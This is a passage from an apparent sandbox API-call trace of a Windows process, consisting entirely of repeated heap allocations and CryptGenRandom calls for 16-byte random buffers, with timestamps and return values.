Size=0xc0) returned 0x3622b38 [0237.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.577] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36712dc | out: pbBuffer=0x36712dc) returned 1 [0237.577] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.577] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0237.577] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36716c4 | out: pbBuffer=0x36716c4) returned 1 [0237.577] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0237.578] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671e1c | out: pbBuffer=0x3671e1c) returned 1 [0237.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0237.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0237.578] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367114c | out: pbBuffer=0x367114c) returned 1 [0237.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0237.579] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36713cc | out: pbBuffer=0x36713cc) returned 1 [0237.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0237.580] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367182c | out: pbBuffer=0x367182c) returned 1 [0237.580] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.580] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671d54 | out: pbBuffer=0x3671d54) returned 1 [0237.580] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.581] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36718f4 | out: pbBuffer=0x36718f4) returned 1 [0237.581] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367146c | out: pbBuffer=0x367146c) returned 1 [0237.582] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671fac | out: pbBuffer=0x3671fac) returned 1 [0237.582] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36719bc | out: pbBuffer=0x36719bc) returned 1 [0237.583] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671a84 | out: pbBuffer=0x3671a84) returned 1 [0237.583] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671354 | out: pbBuffer=0x3671354) returned 1 [0237.584] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671a34 | out: pbBuffer=0x3671a34) returned 1 [0237.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0237.584] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671ad4 | out: pbBuffer=0x3671ad4) returned 1 [0237.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0237.585] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367137c | out: pbBuffer=0x367137c) returned 1 [0237.585] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.585] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0237.585] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671b9c | out: pbBuffer=0x3671b9c) returned 1 [0237.585] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.585] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0237.586] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671ebc | out: pbBuffer=0x3671ebc) returned 1 [0237.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0237.586] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367173c | out: pbBuffer=0x367173c) returned 1 [0237.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.587] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0237.587] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671f84 | out: pbBuffer=0x3671f84) returned 1 [0237.587] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.587] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0237.587] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671d7c | out: pbBuffer=0x3671d7c) returned 1 [0237.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0237.600] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671dcc | out: pbBuffer=0x3671dcc) returned 1 [0237.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0237.601] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671f0c | out: pbBuffer=0x3671f0c) returned 1 [0237.601] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.601] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0237.601] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671034 | out: pbBuffer=0x3671034) returned 1 [0237.601] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.601] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0237.602] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671994 | out: pbBuffer=0x3671994) returned 1 [0237.602] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.602] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0237.602] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671ee4 | out: pbBuffer=0x3671ee4) returned 1 [0237.602] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0237.603] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36715d4 | out: pbBuffer=0x36715d4) returned 1 [0237.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0237.604] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671494 | out: pbBuffer=0x3671494) returned 1 [0237.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0237.604] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367128c | out: pbBuffer=0x367128c) returned 1 [0237.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0237.605] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367178c | out: pbBuffer=0x367178c) returned 1 [0237.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0237.605] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367123c | out: pbBuffer=0x367123c) returned 1 [0237.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0237.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0237.606] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671214 | out: pbBuffer=0x3671214) returned 1 [0237.606] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.606] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.606] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367164c | out: pbBuffer=0x367164c) returned 1 [0237.606] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.606] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0237.607] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36718a4 | out: pbBuffer=0x36718a4) returned 1 [0237.607] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.607] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0237.607] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367196c | out: pbBuffer=0x367196c) returned 1 [0237.607] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0237.608] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367155c | out: pbBuffer=0x367155c) returned 1 [0237.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0237.609] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36714bc | out: pbBuffer=0x36714bc) returned 1 [0237.609] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.609] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0237.609] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36718cc | out: pbBuffer=0x36718cc) returned 1 [0237.609] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.609] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0237.610] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367169c | out: pbBuffer=0x367169c) returned 1 [0237.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.610] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671584 | out: pbBuffer=0x3671584) returned 1 [0237.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.611] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36719e4 | out: pbBuffer=0x36719e4) returned 1 [0237.611] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671c14 | out: pbBuffer=0x3671c14) returned 1 [0237.612] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x364605c | out: pbBuffer=0x364605c) returned 1 [0237.612] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646ee4 | out: pbBuffer=0x3646ee4) returned 1 [0237.613] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646dcc | out: pbBuffer=0x3646dcc) returned 1 [0237.613] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646d04 | out: pbBuffer=0x3646d04) returned 1 [0237.614] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646f5c | out: pbBuffer=0x3646f5c) returned 1 [0237.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0237.614] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36460ac | out: pbBuffer=0x36460ac) returned 1 [0237.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.615] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646b4c | out: pbBuffer=0x3646b4c) returned 1 [0237.615] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.615] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.615] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646fac | out: pbBuffer=0x3646fac) returned 1 [0237.615] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.615] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0237.616] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679fd4 | out: pbBuffer=0x3679fd4) returned 1 [0237.616] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.616] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0237.616] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367973c | out: pbBuffer=0x367973c) returned 1 [0237.616] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0237.616] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.617] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367964c | out: pbBuffer=0x367964c) returned 1 [0237.617] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.617] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0237.617] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36793a4 | out: pbBuffer=0x36793a4) returned 1 [0237.617] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.617] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0237.618] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679da4 | out: pbBuffer=0x3679da4) returned 1 [0237.618] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.618] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0237.618] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679b74 | out: pbBuffer=0x3679b74) returned 1 [0237.618] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.618] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0237.619] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679e1c | out: pbBuffer=0x3679e1c) returned 1 [0237.619] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.620] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.620] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679b24 | out: pbBuffer=0x3679b24) returned 1 [0237.620] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.621] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.621] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679494 | out: pbBuffer=0x3679494) returned 1 [0237.621] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.621] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0237.623] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36798a4 | out: pbBuffer=0x36798a4) returned 1 [0237.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0237.624] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679dcc | out: pbBuffer=0x3679dcc) returned 1 [0237.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0237.625] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36796ec | out: pbBuffer=0x36796ec) returned 1 [0237.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.626] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367987c | out: pbBuffer=0x367987c) returned 1 [0237.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0237.626] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679bec | out: pbBuffer=0x3679bec) returned 1 [0237.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.627] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0237.627] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367955c | out: pbBuffer=0x367955c) returned 1 [0237.627] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0237.627] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0237.628] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367941c | out: pbBuffer=0x367941c) returned 1 [0237.628] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.628] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0237.629] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679624 | out: pbBuffer=0x3679624) returned 1 [0237.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0237.629] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679034 | out: pbBuffer=0x3679034) returned 1 [0237.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0237.630] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679304 | out: pbBuffer=0x3679304) returned 1 [0237.630] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.630] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0237.631] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x34716ec | out: pbBuffer=0x34716ec) returned 1 [0237.631] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.631] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0237.631] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347150c | out: pbBuffer=0x347150c) returned 1 [0237.631] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.631] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0237.632] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347178c | out: pbBuffer=0x347178c) returned 1 [0237.632] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0237.632] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0237.633] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36683a4 | out: pbBuffer=0x36683a4) returned 1 [0237.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.633] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668444 | out: pbBuffer=0x3668444) returned 1 [0237.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.634] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680ac | out: pbBuffer=0x36680ac) returned 1 [0237.635] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b24 | out: pbBuffer=0x3668b24) returned 1 [0237.636] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36683f4 | out: pbBuffer=0x36683f4) returned 1 [0237.637] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36688cc | out: pbBuffer=0x36688cc) returned 1 [0237.637] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b74 | out: pbBuffer=0x3668b74) returned 1 [0237.638] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36683cc | out: pbBuffer=0x36683cc) returned 1 [0237.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0237.648] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0237.649] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668174 | out: pbBuffer=0x3668174) returned 1 [0237.649] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0237.649] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0237.649] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36684e4 | out: pbBuffer=0x36684e4) returned 1 [0237.649] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.649] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.650] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366846c | out: pbBuffer=0x366846c) returned 1 [0237.650] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.650] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0237.650] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36681ec | out: pbBuffer=0x36681ec) returned 1 [0237.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0237.651] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668cdc | out: pbBuffer=0x3668cdc) returned 1 [0237.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0237.651] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668534 | out: pbBuffer=0x3668534) returned 1 [0237.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0237.652] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668ad4 | out: pbBuffer=0x3668ad4) returned 1 [0237.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0237.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0237.653] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36689bc | out: pbBuffer=0x36689bc) returned 1 [0237.653] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.653] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0237.653] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366882c | out: pbBuffer=0x366882c) returned 1 [0237.653] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.653] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0237.654] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366864c | out: pbBuffer=0x366864c) returned 1 [0237.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0237.654] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b9c | out: pbBuffer=0x3668b9c) returned 1 [0237.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.655] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668d54 | out: pbBuffer=0x3668d54) returned 1 